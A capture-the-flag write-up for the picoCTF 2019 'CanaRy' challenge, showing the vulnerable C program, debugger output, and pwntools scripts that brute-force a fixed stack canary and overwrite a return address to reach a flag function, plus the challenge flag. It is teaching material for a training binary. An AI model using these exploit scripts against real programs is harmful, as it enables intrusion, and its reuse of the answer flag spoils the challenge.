PicoCTF19 CanaRy

Challenge

This time we added a canary to detect buffer overflows. Can you still find a way to retreive the flag from this program located in /problems/canary_3. Source.

Hints

Maybe there's a smart way to brute-force the canary?

Solution

In this question, we have an additional file in our directory:

samson@pico-2019-shell1:/problems/canary_3$ ls -al
total 96
drwxr-xr-x   2 root       root        4096 Sep 28  2019 .
drwxr-x--x 684 root       root       69632 Oct 10  2019 ..
-r--r-----   1 hacksports canary_3       5 Sep 28  2019 canary.txt
-r--r-----   1 hacksports canary_3      42 Sep 28  2019 flag.txt
-rwxr-sr-x   1 hacksports canary_3    7744 Sep 28  2019 vuln
-rw-rw-r--   1 hacksports hacksports  1469 Sep 28  2019 vuln.c

Here's the file

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUF_SIZE 32
#define FLAG_LEN 64
#define KEY_LEN 4

void display_flag() {
  char buf[FLAG_LEN];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }
  fgets(buf,FLAG_LEN,f);
  puts(buf);
  fflush(stdout);
}

char key[KEY_LEN];
void read_canary() {
  FILE *f = fopen("/problems/canary_3/canary.txt","r");
  if (f == NULL) {
    printf("[ERROR]: Trying to Read Canary\n");
    exit(0);
  }
  fread(key,sizeof(char),KEY_LEN,f);
  fclose(f);
}

void vuln(){
   char canary[KEY_LEN];
   char buf[BUF_SIZE];
   char user_len[BUF_SIZE];

   int count;
   int x = 0;
   memcpy(canary,key,KEY_LEN);
   printf("Please enter the length of the entry:\n> ");

   while (x<BUF_SIZE) {
      read(0,user_len+x,1);
      if (user_len[x]=='\n') break;
      x++;
   }
   sscanf(user_len,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,key,KEY_LEN)) {
      printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
      exit(-1);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  int i;
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  read_canary();
  vuln();

  return 0;
}

Let's also run our sanity checks for protections applied:

samson@pico-2019-shell1:/problems/canary_3$ checksec vuln
[*] '/problems/canary_3/vuln'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled (ASLR)

For context, a canary is just a value on the stack between local variables and function return addresses.

They are used to mitigate against buffer overflow attacks by verifying that this value is always on the stack to verify the stack has not been "smashed" or compromised.

This is usually added by the compiler with a flag, but for illustrative purposes the problem seems to implement an application version of the canary.


So at the start of the program, it seems the the program loads the canary of size 4 bytes into a global variable of type char.

#define KEY_LEN 4
char key[KEY_LEN];
void read_canary() {
  FILE *f = fopen("/problems/canary_3/canary.txt","r");
  if (f == NULL) {
    printf("[ERROR]: Trying to Read Canary\n");
    exit(0);
  }
  fread(key,sizeof(char),KEY_LEN,f);
  fclose(f);
}

If we were able to read canary.txt (which we can't), we would know what to fill our buffer overflow with, however we don't. On the other hand, due to this function we know it's constant.

Fun Fact: Windows XP used to use a constant canary and you could brute-force it byte by byte. This may be the solution here.

   char canary[KEY_LEN];
   char buf[BUF_SIZE];
   char user_len[BUF_SIZE];

   int count;
   int x = 0;
   memcpy(canary,key,KEY_LEN);
   printf("Please enter the length of the entry:\n> ");

   while (x<BUF_SIZE) {
      read(0,user_len+x,1);
      if (user_len[x]=='\n') break;
      x++;
   }
   sscanf(user_len,"%d",&count);

The program prompts us for the length of the entry, not sure what that is yet. But it reads from user input and places it into a buffer user_len.

Then it reads the input we pass it with a vulnerable function, but it reads only the amount we said we'd send it.

read(0,buf,count);

samson@pico-2019-shell1:/problems/canary_3$ ./vulnPlease enter the length of the entry:
> 0
Input> Ok... Now Where's the Flag?
samson@pico-2019-shell1:/problems/canary_3$ ./vuln
Please enter the length of the entry:
> 1
Input> 1
Ok... Now Where's the Flag?
samson@pico-2019-shell1:/problems/canary_3$ ./vuln
Please enter the length of the entry:
> 64
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** Stack Smashing Detected *** : Canary Value Corrupt!

At this point, we sort of know what we have to do. We have to bruteforce the canary which is 4 bytes, then overwrite the first return address with the address of the display_flag() function.

We will attempt to attack the canary one value at a time, let's create our python script to do this for us.

#!/usr/bin/env python

from pwn import *

s = ssh(host = '2019shell1.picoctf.com', user='samson', password='REDACTED')

canary = ''
while len(canary) < 4: # Only 1024 iterations, possible because of 32bit
    for i in range(256): # from 00 to FF in each byte
        p = s.process('/problems/canary_3/vuln')
        p.sendlineafter('> ', '{}'.format(32 + len(canary) + 1)) # BUF_SIZE + 1 intending to write past canary
        p.sendlineafter('> ', 'A' * 32 + canary + '{}'.format(chr(i)))
        l = p.recvline()

        if '*** Stack Smashing Detected' not in str(l):
            canary += chr(i)
            log.info('Partial canary: {}'.format(canary))
            break

        p.close()
log.info('Found canary: {}'.format(canary))
$ python canary.py 
...
[*] Partial canary: 57Gh
[*] Found canary: 57Gh

Great we have the canary: 57Gh

However, it's not as simple as the usual buffer overflow now. since PIE or ASLR is enabled, the address of display_flag() is randomized.

Let's check the value once:

samson@pico-2019-shell1:/problems/canary_3$ gdb ./vuln 
(gdb) b main
Breakpoint 1 at 0xa14
(gdb) run
Starting program: /problems/canary_3/vuln 

Breakpoint 1, 0x56586a14 in main ()
(gdb) x display_flag
0x565867ed <display_flag>:      0x53e58955
-----------------
samson@pico-2019-shell1:/problems/canary_3$ gdb ./vuln 
(gdb) x display_flag
0x7ed <display_flag>:   0x53e58955
(gdb) b main
Breakpoint 1 at 0xa14
(gdb) r
Starting program: /problems/canary_3/vuln 

Breakpoint 1, 0x565cfa14 in main ()
(gdb) x display_flag
0x565cf7ed <display_flag>:      0x53e58955

Interestingly enough, for some reason if you try this over and over again, the addresses seem to repeat. Only 3 bytes. Let's brute force it? We can attempt to use one of the addresses and hope there will a chance it'll work.

Again, this will only work since we're in 32-bit mode, even more so since only a few of the 32 bits are random.

Let's construct our payload:

payload = "A"*32 + canary + "A"*16 + "\xed\x07"

We can determine the offset from the canary to the bottom of the stack but looking at the assembly code for the offset to the frame pointer, trail and error with multiples of 4, or even using the pwntools cyclic command.

In this case, I'll use GDB for brevity, remember that we're looking for ebp when looking for clues of an offset. 0x10 is 16 bytes.

(gdb) disas vuln
Dump of assembler code for function vuln:
   0x000008f4 <+0>:     push   %ebp
   0x000008f5 <+1>:     mov    %esp,%ebp
   0x000008f7 <+3>:     push   %ebx
   0x000008f8 <+4>:     sub    $0x54,%esp
   0x000008fb <+7>:     call   0x6f0 <__x86.get_pc_thunk.bx>
   0x00000900 <+12>:    add    $0x16a0,%ebx
   0x00000906 <+18>:    movl   $0x0,-0xc(%ebp)
   0x0000090d <+25>:    lea    0x6c(%ebx),%eax
   0x00000913 <+31>:    mov    (%eax),%eax
   0x00000915 <+33>:    mov    %eax,-0x10(%ebp)    <<<<
   0x00000918 <+36>:    sub    $0xc,%esp
   0x0000091b <+39>:    lea    -0x1414(%ebx),%eax

Now we can code our exploit with our known canary:

#!/usr/bin/env python

from pwn import *

s = ssh(host = '2019shell1.picoctf.com', user='samson', password='REDACTED')
s.set_working_directory('/problems/canary_3/')
canary = "57Gh"
address_display_flag = 0x565cf7ed
while True:
    p = s.process('./vuln')
    p.sendlineafter('> ', '54') # Size of payload
    payload = "A"*32 + canary + "A"*16 + "\xed\x07"
    p.sendlineafter('> ', payload)
    out = p.recvall()
    print(out)
    if "pico" in str(out):
        print(out)
        break
    p.close()
samson@pico-2019-shell1:/problems/canary_3$ python ~/p2.py 
[+] Connecting to 2019shell1.picoctf.com on port 22: Done
[!] Couldn't check security settings on '2019shell1.picoctf.com'
[*] Working directory: '/problems/canary_3/'
[+] Starting remote process './vuln' on 2019shell1.picoctf.com: pid 1174334
[+] Receiving all data: Done (28B)
[*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1174334)
Ok... Now Where's the Flag?

[+] Starting remote process './vuln' on 2019shell1.picoctf.com: pid 1174341
[+] Receiving all data: Done (28B)
[*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1174341)
Ok... Now Where's the Flag?

[+] Starting remote process './vuln' on 2019shell1.picoctf.com: pid 1174348
[+] Receiving all data: Done (28B)
[*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1174348)
Ok... Now Where's the Flag?

[+] Starting remote process './vuln' on 2019shell1.picoctf.com: pid 1174355
[+] Receiving all data: Done (28B)
[*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1174355)
Ok... Now Where's the Flag?

[+] Starting remote process './vuln' on 2019shell1.picoctf.com: pid 1174362
[+] Receiving all data: Done (28B)
[*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1174362)
Ok... Now Where's the Flag?

[+] Starting remote process './vuln' on 2019shell1.picoctf.com: pid 1174369
[+] Receiving all data: Done (28B)
[*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1174369)
Ok... Now Where's the Flag?

[+] Starting remote process './vuln' on 2019shell1.picoctf.com: pid 1174376
[+] Receiving all data: Done (28B)
[*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1174376)
Ok... Now Where's the Flag?

[+] Starting remote process './vuln' on 2019shell1.picoctf.com: pid 1174384
[+] Receiving all data: Done (28B)
[*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1174384)
Ok... Now Where's the Flag?

[+] Starting remote process './vuln' on 2019shell1.picoctf.com: pid 1174391
[+] Receiving all data: Done (28B)
[*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1174391)
Ok... Now Where's the Flag?

[+] Starting remote process './vuln' on 2019shell1.picoctf.com: pid 1174398
[+] Receiving all data: Done (28B)
[*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1174398)
Ok... Now Where's the Flag?

[+] Starting remote process './vuln' on 2019shell1.picoctf.com: pid 1174405
[+] Receiving all data: Done (28B)
[*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1174405)
Ok... Now Where's the Flag?

[+] Starting remote process './vuln' on 2019shell1.picoctf.com: pid 1174412
[+] Receiving all data: Done (28B)
[*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1174412)
Ok... Now Where's the Flag?

[+] Starting remote process './vuln' on 2019shell1.picoctf.com: pid 1174419
[+] Receiving all data: Done (71B)
[*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1174419)
Ok... Now Where's the Flag?
picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0bd260ce}

Ok... Now Where's the Flag?
picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0bd260ce}

Flag

picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0bd260ce}